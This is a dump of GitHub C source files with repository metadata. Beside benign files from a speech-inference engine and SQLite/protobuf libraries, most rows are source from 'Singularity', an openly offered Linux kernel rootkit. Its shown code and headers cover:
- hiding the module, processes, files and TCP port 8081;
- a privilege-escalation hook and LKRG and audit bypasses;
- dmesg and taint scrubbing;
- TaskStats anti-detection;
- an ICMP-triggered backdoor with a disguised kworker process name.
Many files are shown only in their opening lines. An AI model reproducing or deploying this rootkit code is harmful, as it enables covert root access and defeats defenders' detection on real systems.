repo_full_name stringlengths 6 93 | repo_url stringlengths 25 112 | repo_api_url stringclasses 28
values | owner stringclasses 28
values | repo_name stringclasses 28
values | description stringclasses 28
values | stars int64 617 98.8k | forks int64 31 355 ⌀ | watchers int64 990 999 ⌀ | license stringclasses 2
values | default_branch stringclasses 2
values | repo_created_at timestamp[s]date 2012-07-24 23:12:50 2025-06-16 08:07:28 ⌀ | repo_updated_at timestamp[s]date 2026-02-23 15:23:15 2026-05-03 18:52:12 ⌀ | repo_topics listlengths 0 13 ⌀ | repo_languages unknown | is_fork bool 1
class | open_issues int64 3 104 ⌀ | file_path stringlengths 3 208 | file_name stringclasses 509
values | file_extension stringclasses 1
value | file_size_bytes int64 101 84k ⌀ | file_url stringclasses 627
values | file_raw_url stringclasses 627
values | file_sha stringclasses 624
values | language stringclasses 8
values | parsed_at stringdate 2026-05-04 01:12:36 2026-05-04 19:41:55 | text stringlengths 100 102k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_kernels.h | null | null | null | null | null | null | C | 2026-05-04T18:20:51.824911 | /*
* voxtral_kernels.h - Math kernels for Voxtral inference
*
* Low-level math operations. All operate on float32 tensors in row-major order.
* Adapted from flux-2-4b project.
*/
#ifndef VOXTRAL_KERNELS_H
#define VOXTRAL_KERNELS_H
#include <stddef.h>
#include <stdint.h>
/* ======================================... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | main.c | null | null | null | null | null | null | C | 2026-05-04T18:20:51.901351 | /*
* main.c - CLI entry point for voxtral.c
*
* Usage: voxtral -d <model_dir> -i <input.wav> [options]
*/
#include "voxtral.h"
#include "voxtral_kernels.h"
#include "voxtral_audio.h"
#include "voxtral_mic.h"
#ifdef USE_METAL
#include "voxtral_metal.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_audio.c | null | null | null | null | null | null | C | 2026-05-04T18:20:51.962600 | /*
* voxtral_audio.c - WAV loading and mel spectrogram computation
*
* Mel spectrogram parameters (from params.json):
* Sample rate: 16000 Hz
* Mel bins: 128
* Hop length: 160 (10ms)
* Window size: 400 (25ms)
* global_log_mel_max: 1.5
*
* This implementation matches vLLM:
* vllm/vllm/model_execut... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_kernels.c | null | null | null | null | null | null | C | 2026-05-04T18:20:51.967641 | /*
* voxtral_kernels.c - Math kernels for Voxtral inference
* Adapted from flux-2-4b project.
*/
#include "voxtral_kernels.h"
#include <math.h>
#include <string.h>
#include <stdlib.h>
#ifdef USE_METAL
#include "voxtral_metal.h"
#endif
#ifdef USE_BLAS
#ifdef __APPLE__
#include <Accelerate/Accelerate.h>
#else
#incl... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_decoder.c | null | null | null | null | null | null | C | 2026-05-04T18:20:52.011285 | /*
* voxtral_decoder.c - LLM decoder (26 layers, GQA)
*
* Architecture (per layer):
* RMSNorm -> Attention (GQA: 32 heads, 8 KV heads)
* RMSNorm -> (optional) ada_rms_norm_t_cond -> SwiGLU FFN (dim=3072, hidden=9216)
*
* ada_rms_norm_t_cond (vLLM MistralDecoderLayer):
* hidden_states = hidden_states * (1 ... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_encoder.c | null | null | null | null | null | null | C | 2026-05-04T18:20:52.014877 | /*
* voxtral_encoder.c - Audio encoder (causal transformer)
*
* Architecture:
* Conv stem: conv1d(128->1280, k=3, s=1, p=1) -> GELU
* conv1d(1280->1280, k=3, s=2, p=1) -> GELU
* 32 transformer layers (causal, sliding window=750):
* - RMSNorm -> Attention (MHA, 32 heads, head_dim=64, with bia... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_metal.h | null | null | null | null | null | null | C | 2026-05-04T18:20:52.296246 | /*
* voxtral_metal.h - Metal GPU acceleration for Voxtral inference
*
* Provides MPS-accelerated matrix multiplication with bf16->f16 weight caching,
* plus GPU compute shaders for element-wise operations.
* Ported from flux-2-4b (same author, same license).
*/
#ifndef VOXTRAL_METAL_H
#define VOXTRAL_METAL_H
#i... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_mic.h | null | null | null | null | null | null | C | 2026-05-04T18:20:52.369185 | /*
* voxtral_mic.h - Microphone capture API
*
* macOS implementation uses AudioQueue Services (AudioToolbox).
* Other platforms: stubs that return errors.
*/
#ifndef VOXTRAL_MIC_H
#define VOXTRAL_MIC_H
/* Open default microphone and start capturing (16kHz s16le mono, converted
* to float internally). Returns 0 ... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_safetensors.h | null | null | null | null | null | null | C | 2026-05-04T18:20:52.429773 | /*
* voxtral_safetensors.h - Safetensors file format reader
*
* Safetensors format:
* - 8 bytes: uint64 little-endian header size
* - N bytes: JSON header with tensor metadata
* - Remaining: raw tensor data
*/
#ifndef VOXTRAL_SAFETENSORS_H
#define VOXTRAL_SAFETENSORS_H
#include <stddef.h>
#include <stdin... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_mic_macos.c | null | null | null | null | null | null | C | 2026-05-04T18:20:52.438007 | /*
* voxtral_mic_macos.c - Microphone capture using AudioQueue Services (macOS)
*
* AudioQueue callback runs on its own thread, converts s16le to float,
* and pushes to a ring buffer protected by a pthread mutex.
* The main thread polls vox_mic_read() to drain samples.
*/
#ifdef __APPLE__
#include "voxtral_mic.... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_safetensors.c | null | null | null | null | null | null | C | 2026-05-04T18:20:52.467753 | /*
* voxtral_safetensors.c - Safetensors file format reader implementation
* Adapted from flux-2-4b project.
*/
#include "voxtral_safetensors.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
/* Minimal JSON parser for s... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_tokenizer.c | null | null | null | null | null | null | C | 2026-05-04T18:20:52.580813 | /*
* voxtral_tokenizer.c - Tekken tokenizer (decode only)
*
* Tekken tokenizer format (tekken.json):
* - vocab: array of {rank, token_bytes (base64), token_str}
* - special_tokens: array of {rank, token_str, is_control}
* - config: {default_vocab_size: 131072, default_num_special_tokens: 1000}
*
* Token I... |
antirez/voxtral.c | https://github.com/antirez/voxtral.c | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | voxtral_tokenizer.h | null | null | null | null | null | null | C | 2026-05-04T18:20:52.637862 | /*
* voxtral_tokenizer.h - Tekken tokenizer (decode only)
*
* The Tekken tokenizer uses a vocabulary stored in tekken.json.
* For speech-to-text we only need decoding (token IDs -> text).
*/
#ifndef VOXTRAL_TOKENIZER_H
#define VOXTRAL_TOKENIZER_H
#include <stdint.h>
typedef struct vox_tokenizer vox_tokenizer_t;... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/bpf_hook.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.239699 | #ifndef BPF_HOOK_H
#define BPF_HOOK_H
notrace int bpf_hook_init(void);
notrace void bpf_hook_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hide_module.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.241098 | #ifndef MODULE_HIDER_H
#define MODULE_HIDER_H
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kobject.h>
#include <linux/slab.h>
#include <linux/types.h>
#include <linux/list.h>
#include <linux/workqueue.h>
struct module_hider_state {
struct list_head *saved_list_pos;
struct kobject *saved... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/become_root.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.242131 | #ifndef BECOME_ROOT_H
#define BECOME_ROOT_H
int become_root_init(void);
void become_root_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | ftrace/ftrace_helper.c | null | null | null | null | null | null | C | 2026-05-04T18:20:55.253066 | #include <linux/module.h>
#include "ftrace_helper.h"
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
#endif
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name_fn = NULL;
#endi... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/audit.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.253591 | #ifndef HOOKING_AUDIT_H
#define HOOKING_AUDIT_H
notrace int hooking_audit_init(void);
notrace void hooking_audit_exit(void);
notrace int get_blocked_audit_count(void);
notrace int get_total_audit_count(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | ftrace/ftrace_helper.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.268871 | #ifndef FTRACE_HELPER_H
#define FTRACE_HELPER_H
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#if LINUX_VERSION_CODE ... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hidden_pids.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.269872 | #ifndef HIDDEN_PIDS_H
#define HIDDEN_PIDS_H
#define MAX_HIDDEN_PIDS 32
#define MAX_CHILD_PIDS (MAX_HIDDEN_PIDS * 128)
extern int hidden_pids[MAX_HIDDEN_PIDS];
extern int hidden_count;
extern u64 hidden_start_times[MAX_HIDDEN_PIDS];
extern int child_pids[MAX_CHILD_PIDS];
extern int child_count;
extern u64 child_start_... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/core.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.280731 | #ifndef CORE_H
#define CORE_H
#define YOUR_SRV_IP "127.0.0.1"
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/list.h>
#incl... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/clear_taint_dmesg.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.281464 | #ifndef CLEAR_TAINT_DMESG_H
#define CLEAR_TAINT_DMESG_H
int clear_taint_dmesg_init(void);
void clear_taint_dmesg_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_chdir.h | null | null | null | null | null | null | C | 2026-05-04T18:20:55.283228 | #ifndef HIDING_CHDIR_H
#define HIDING_CHDIR_H
int hiding_chdir_init(void);
void hiding_chdir_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_directory.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.285388 | #ifndef HIDING_DIRECTORY_H
#define HIDING_DIRECTORY_H
int hiding_directory_init(void);
void hiding_directory_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_directory_def.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.285905 | #ifndef HIDING_FILES_DEF_H
#define HIDING_FILES_DEF_H
static const char *hidden_patterns[] = {
"jira",
"singularity",
"obliviate",
"matheuz",
"zer0t",
NULL
};
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_readlink.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.381493 | #ifndef HIDING_READLINK_H
#define HIDING_READLINK_H
int hiding_readlink_init(void);
void hiding_readlink_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/open.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.492494 | #ifndef HIDING_OPEN_H
#define HIDING_OPEN_H
int hiding_open_init(void);
void hiding_open_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/lkrg_bypass.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.506198 | #ifndef ANTI_LKRG_KPROBE_H
#define ANTI_LKRG_KPROBE_H
notrace int lkrg_bypass_init(void);
notrace void lkrg_bypass_exit(void);
notrace bool is_lkrg_blinded(void);
notrace void enable_umh_bypass(void);
notrace void disable_umh_bypass(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_tcp.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.568143 | #ifndef HIDING_TCP_H
#define HIDING_TCP_H
int hiding_tcp_init(void);
void hiding_tcp_exit(void);
notrace long tcp_hiding_filter_netlink(int protocol, unsigned char *buf, long len);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hiding_stat.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.597832 | #ifndef HIDING_STAT_H
#define HIDING_STAT_H
#include <linux/types.h>
#include <linux/fs.h>
bool should_hide_path(const char __user *pathname);
int hiding_stat_init(void);
void hiding_stat_exit(void);
#endif |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/sysrq_hook.h | null | null | null | null | null | null | C | 2026-05-04T18:20:57.942423 | #ifndef SYSRQ_HOOK_H
#define SYSRQ_HOOK_H
notrace int sysrq_hook_init(void);
notrace void sysrq_hook_exit(void);
#endif |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/task.h | null | null | null | null | null | null | C | 2026-05-04T18:20:58.016697 | #ifndef HOOKS_TASKSTATS_H
#define HOOKS_TASKSTATS_H
int taskstats_hook_init(void);
void taskstats_hook_exit(void);
#endif |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/selfdefense.h | null | null | null | null | null | null | C | 2026-05-04T18:20:58.041470 | #ifndef SELFDEFENSE_H
#define SELFDEFENSE_H
notrace int sd_bootstrap_kprobe_hook(void);
notrace void sd_protect_symbol(const char *symname);
notrace int selfdefense_init(void);
notrace void selfdefense_exit(void);
#endif |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | main.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.148981 | #include "include/core.h"
#include "include/reset_tainted.h"
#include "include/become_root.h"
#include "include/hiding_directory.h"
#include "include/hiding_stat.h"
#include "include/hiding_tcp.h"
#include "include/hooks_write.h"
#include "include/clear_taint_dmesg.h"
#include "include/hiding_chdir.h"
#include "include... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/trace.h | null | null | null | null | null | null | C | 2026-05-04T18:20:58.168902 | #ifndef TRACE_H
#define TRACE_H
notrace int trace_pid_init(void);
notrace void trace_pid_cleanup(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/become_root.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.262063 | #include "../include/core.h"
#include "../include/become_root.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
static asmlinkage long (*orig_kill)(const struct pt_regs *);
static asmlinkage long (*orig_getsid)(const struct pt_regs *);
static asmlinkage long (*orig_sched_getaffinity)(const st... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/audit.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.374481 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
#include "../include/audit.h"
#include "../include/hiding_tcp.h"
static int (*orig_netlink_unicast)(struct sock *ssk, struct sk_buff *skb, u32 portid, int nonblock);
static asmlinkage long (*orig_recvmsg)(const struct... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/bpf_hook.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.530794 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
#include "../include/bpf_hook.h"
#include "../include/hiding_directory_def.h"
#define HIDDEN_PORT 8081
#define PID_MAX_VALUE 4194304U
static __be32 hidden_ip_cached = 0;
static inline void init_hidden_ip(void)... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hidden_pids.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.682813 | #include "../include/core.h"
#include "../include/hidden_pids.h"
int child_pids[MAX_HIDDEN_PIDS*128];
int hidden_pids[MAX_HIDDEN_PIDS];
u64 hidden_start_times[MAX_HIDDEN_PIDS];
u64 child_start_times[MAX_CHILD_PIDS];
int hidden_count = 0;
int child_count = 0;
static DEFINE_SPINLOCK(hidden_pids_lock);
notrace int hidde... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/clear_taint_dmesg.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.712942 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/clear_taint_dmesg.h"
#include "../include/hidden_pids.h"
extern char saved_ftrace_value[64];
extern bool ftrace_write_intercepted;
#define MAX_CAP (1024*1024)
#define MIN_KERNEL_READ 256
#define SYSLOG_ACTION_READ 2
#define ... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hide_module.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.788875 | #include "../include/hide_module.h"
#define MODULE_HIDE_DELAY_MS 5000
static struct module_hider_state hider_state = {0};
static void module_hide_deferred_work(struct work_struct *work);
static DECLARE_DELAYED_WORK(hide_work, module_hide_deferred_work);
static void module_hide_deferred_work(struct work_struct *work)... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hiding_chdir.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.813919 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hiding_stat.h"
static asmlinkage long (*orig_chdir)(const struct pt_regs *);
static asmlinkage long (*orig_chdir32)(const struct pt_regs *);
static notrace asmlinkage long hook_chdir(const struct pt_regs *regs) {
const char __u... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hiding_directory.c | null | null | null | null | null | null | C | 2026-05-04T18:20:58.857803 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
#include "../include/hiding_stat.h"
#include "../include/hiding_directory_def.h"
#ifndef HAVE_LINUX_DIRENT
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hiding_tcp.c | null | null | null | null | null | null | C | 2026-05-04T18:20:59.412598 | #include "../include/core.h"
#include "../include/hiding_tcp.h"
#include "../include/audit.h"
#include "../ftrace/ftrace_helper.h"
#define PORT 8081
static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
static asmlinkage long (*orig_tcp6_seq_show)(struct seq_file *seq, void *v);
static asmlinka... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hiding_stat.c | null | null | null | null | null | null | C | 2026-05-04T18:20:59.413665 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hiding_stat.h"
#include "../include/hidden_pids.h"
#include "../include/hiding_directory_def.h"
#define PATH_BUF_SIZE 256
notrace bool should_hide_path(const char __user *pathname)
{
char buf[PATH_BUF_SIZE];
long copied;
... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hiding_readlink.c | null | null | null | null | null | null | C | 2026-05-04T18:20:59.545506 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hiding_stat.h"
static asmlinkage long (*orig_readlink)(const struct pt_regs *);
static asmlinkage long (*orig_readlink32)(const struct pt_regs *);
static notrace asmlinkage long hook_readlink(const struct pt_regs *regs) {
const... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/lkrg_bypass.c | null | null | null | null | null | null | C | 2026-05-04T18:20:59.601510 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
#include "../include/lkrg_bypass.h"
static atomic_t hooks_active = ATOMIC_INIT(0);
static atomic_t umh_bypass_active = ATOMIC_INIT(0);
static struct notifier_block module_notifier;
#define LKRG_SETUP_DELAY_MS 1000
s... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/hooks_write.c | null | null | null | null | null | null | C | 2026-05-04T18:20:59.617431 | #include "../include/core.h"
#include "../include/hooks_write.h"
#include "../ftrace/ftrace_helper.h"
#define BUF_SIZE 4096
char saved_ftrace_value[64] = "1\n";
EXPORT_SYMBOL(saved_ftrace_value);
bool ftrace_write_intercepted = false;
EXPORT_SYMBOL(ftrace_write_intercepted);
static asmlinkage ssize_t (*original_wri... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/open.c | null | null | null | null | null | null | C | 2026-05-04T18:21:00.109049 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
#define PATH_BUF_SIZE 256
static asmlinkage long (*orig_openat)(const struct pt_regs *);
static asmlinkage long (*orig_openat32)(const struct pt_regs *);
static asmlinkage long (*orig_readlinkat)(const struct pt_regs... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/icmp.c | null | null | null | null | null | null | C | 2026-05-04T18:21:00.138633 | #include "../include/core.h"
#include "../include/icmp.h"
#include "../include/hidden_pids.h"
#include "../ftrace/ftrace_helper.h"
#define SRV_PORT "8081"
#define ICMP_MAGIC_SEQ 1337
#define PROC_NAME "[kworker/0:1]"
static asmlinkage int (*orig_icmp_rcv)(struct sk_buff *);
static asmlinkage ssize_t (*orig_sel_read_e... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/selfdefense.c | null | null | null | null | null | null | C | 2026-05-04T18:21:00.877687 | /*
Initial and poop version of singularity selfdefense.c module
*/
#include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/selfdefense.h"
#define PROLOGUE_SNAP 16
#define MAX_SNAPS 512
struct sd_snap {
unsigned long addr;
u8 bytes[PROLOGUE_SNAP];
};
static st... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/task.c | null | null | null | null | null | null | C | 2026-05-04T18:21:02.274185 | /*
* TaskStats Netlink Hook (Anti-Detection)
*
* Certain userland detectors leverage TaskStats (TASKSTATS netlink)
* to uncover hidden processes.
*
* The detection logic is simple: if a PID is present in cgroup.procs
* and TaskStats successfully returns statistics for it, but
* /proc/<pid> is missing, the proce... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/reset_tainted.c | null | null | null | null | null | null | C | 2026-05-04T18:21:02.274714 | #include "../include/core.h"
#include "../include/reset_tainted.h"
#include "../include/hidden_pids.h"
#include "../ftrace/ftrace_helper.h"
#define RESET_THREAD_NAME "zer0t"
static struct task_struct *cleaner_thread = NULL;
static unsigned long *taint_mask_ptr = NULL;
static notrace void reset_taint_mask(void) {
... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/hooks_write.h | null | null | null | null | null | null | C | 2026-05-04T18:21:02.275988 | #ifndef HOOKS_WRITE_H
#define HOOKS_WRITE_H
int hooks_write_init(void);
void hooks_write_exit(void);
#endif
|
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/trace.c | null | null | null | null | null | null | C | 2026-05-04T18:21:02.276450 | #include "../include/core.h"
#include "../include/trace.h"
#include "../include/hidden_pids.h"
#include "../ftrace/ftrace_helper.h"
static struct tracepoint *tp_sched_fork;
static int (*_probe_register)(struct tracepoint *, void *, void *);
static int (*_probe_unregister)(struct tracepoint *, void *, void *);
notrace... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/icmp.h | null | null | null | null | null | null | C | 2026-05-04T18:21:02.276911 | #ifndef HIDING_ICMP_H
#define HIDING_ICMP_H
int hiding_icmp_init(void);
void hiding_icmp_exit(void);
#endif |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | modules/sysrq_hook.c | null | null | null | null | null | null | C | 2026-05-04T18:21:02.704956 | #include "../include/core.h"
#include "../ftrace/ftrace_helper.h"
#include "../include/hidden_pids.h"
static void (*orig_sched_show_task)(struct task_struct *p);
static void (*orig_dump_header)(void *oc, struct task_struct *p);
static void (*orig_print_task_isra)(void *m, void *rq, struct task_struct *p);
static bool ... |
MatheuZSecurity/Singularity | https://github.com/MatheuZSecurity/Singularity | null | null | null | null | 1,638 | null | null | mit | null | null | null | null | null | null | null | include/reset_tainted.h | null | null | null | null | null | null | C | 2026-05-04T18:21:06.288807 | #ifndef RESET_TAINTED_H
#define RESET_TAINTED_H
int reset_tainted_init(void);
void reset_tainted_exit(void);
#endif
|
aergoio/litetree | https://github.com/aergoio/litetree | null | null | null | null | 1,635 | null | null | mit | null | null | null | null | null | null | null | sqlite3ext.h | null | null | null | null | null | null | C | 2026-05-04T18:21:08.542646 | /*
** 2006 June 7
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************... |
cloudwu/pbc | https://github.com/cloudwu/pbc | null | null | null | null | 1,628 | null | null | mit | null | null | null | null | null | null | null | src/array.c | null | null | null | null | null | null | C | 2026-05-04T18:21:10.723233 | #include "pbc.h"
